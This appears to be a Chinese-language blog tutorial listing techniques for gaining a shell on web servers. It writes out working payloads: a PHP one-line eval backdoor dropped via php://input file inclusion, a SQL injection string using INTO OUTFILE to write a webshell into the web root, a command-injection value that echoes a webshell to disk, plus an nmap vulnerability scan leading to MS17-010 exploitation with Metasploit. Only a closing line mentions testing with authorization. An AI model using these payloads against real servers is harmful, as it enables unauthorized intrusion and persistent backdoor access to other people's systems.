授人以鱼,不如授人以渔
getshell能干嘛
1.执行终端命令 2.文件管理(增删改查) 3.数据库管理(增删改查,前提找到root用户密码)
文件上传getshell
网站有上传点,最容易getshell。 直接上传一个一句话木马,然后使用webshell管理工具,就能成功getshell 如果web应用对上传的文件进行过滤,要想办法绕过,如前端js绕过 ,MIME验证绕过 ,黑名单绕过 ,大小写绕过 ,双写绕过 ,00截断 ,利用web容器的解析漏洞绕过 等等,这里就不一一列举了
文件包含getshell
利用文件包含漏洞,输入php://input伪协议,进行写入一句话木马
<?php fputs(fopen('muma1.php','w'),'<?php echo "I am a horse";@eval($_REQUEST["pass"]);?>');?>
因为文件包含会解析php 所以当执行了这个脚本,会在目标服务器创建一个muma1.php的一句话木马 直接连接我们创建的木马,即可getshell
sql注入getshell
前提 1.secure_file_priv为空 2.当前数据库用户具有文件读写权限 3.魔术引号关闭 4.知道网站根目录路径
@@basedir 知道它的数据库根目录,去推测其web根目录 然后将木马导出到web根目录中
-1' union select 1,2,"<?php eval($_REQUEST['pass']);?>" into outfile "C:/phpstudy_pro/WWW/muma2.php"%23
使用webshell管理工具连接
操作系统漏洞getshell
利用操作系统内核溢出漏洞getshell 服务器ip(攻击者可以使用ping 域名获取,有CDN先绕过) 然后攻击者使用nmap NSE查看服务器的存在的漏洞
sudo nmap --script vuln -T 4 192.168.208.131
这里找到了两个漏洞,这里最有价值的是ms17-010(永恒之蓝)这个漏洞,因为可以RCE 接着就可以使用metasploit里的exp进行getshell了 这里的meterpreter就是一个shell,而且功能还十分强大,有兴趣可以自行了解
RCE getshell
当我们提交的数据被服务器当作终端命令执行的时候,其实已经getshell了,因为我们可以可以输入各种各样的终端命令,达到文件管理,用户管理等目的。 但这里还是演示下,当web应用有个RCE的其中一个利用方法
12 & echo "<?php echo "I am a horse";@eval($_REQUEST["pass"]);?>" > F:\phpstudy_pro\WWW\muma3.php
使用cmd命令写入一个一句话木马到web根目录 还有些cms,web容器,操作系统旧版本有RCE漏洞,直接利用就完事了,像之前很火的Apache log4j2漏洞也有RCE漏洞,总之服务器有RCE漏洞,就差不多相当于是自己的服务器了。
总结
以上就是我目前了解到的getshell方法,最好是在已授权的情况下测试或者在自己搭建的环境测试,不然可能会被查水表,日志里都记录了你干了啥,所以自己衡量吧。
|